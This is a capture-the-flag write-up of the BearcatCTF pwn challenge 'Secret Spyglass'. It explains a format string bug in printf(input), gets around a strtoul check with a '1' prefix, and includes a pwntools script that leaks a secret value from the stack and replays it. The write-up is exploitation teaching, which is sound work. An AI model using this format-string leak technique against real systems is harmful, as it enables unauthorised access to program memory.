Secret Spyglass - PWN
Points: 338 | Flag: BCCTF{I_spY_W1th_My_L177L3_eY3...} | Solved by: Smothy @ 0xN1umb

what we got
so we got a binary spyglass and the source spyglass.c. challenge says a sea monster wants us to play some impossible guessing game lmao. connection at nc chal.bearcatctf.io 20011.
checksec on the binary:
Full RELRO | Canary | NX | PIE
everything enabled. ok cool so no easy GOT overwrite or ret2shellcode or anything like that. but honestly for this challenge we dont even need any of that.
looking at the source, there's a secret_num generated with rand() and we gotta guess it. two tries. sounds impossible right? nah.
the solve
ok so line 44 in get_guess() has this absolute beauty:
printf(input);thats it. thats the vuln. classic format string bug, user input goes straight into printf as the format string. ngl i love when they just hand it to you like that fr.
but theres a catch - the input goes through strtoul(input, NULL, 0) first, and it has to return non-zero or else we never hit the printf. so we cant just send %p directly.
heres the trick tho - strtoul stops parsing at the first non-numeric character. so if we prefix our format string with 1, strtoul reads "1" (non-zero, check passes) and printf still processes the whole string including our format specifiers. big brain moment lowkey.
so the play is:
- first guess: send
1%14$p- strtoul sees "1", printf leaks the value at stack offset 14 which issecret_num - parse the leaked hex value
- second guess: just send the actual number lmao
finding offset 14 was just the usual %1$p %2$p %3$p... spam until we hit the right stack slot. nothing fancy.
solve script:
from pwn import *
p = remote('chal.bearcatctf.io', 20011)
# First guess: leak secret_num at format string offset 14
p.sendlineafter(b'): ', b'1%14$p')
resp = p.recvuntil(b'What').decode()
leaked = resp[1:resp.index('What')].strip()
secret_num = int(leaked, 16)
log.info(f'Leaked secret_num: {hex(secret_num)} = {secret_num}')
# Consume rest of first guess output
p.recvuntil(b'one more shot.')
# Second guess: send the actual value
p.sendlineafter(b'): ', str(secret_num).encode())
data = p.recvall(timeout=3)
log.info(f'Response: {data}')
p.close()ran it and the secret number just falls right out. second guess matches, sea monster cries, we win.
the whole thing is literally just "leak a stack value through format string and replay it". all that Full RELRO + PIE stuff doesnt matter because we never needed code execution, just needed to read one value off the stack. sometimes the simplest bugs are the most satisfying fr fr.
flag
BCCTF{I_spY_W1th_My_L177L3_eY3...}
smothy out :v: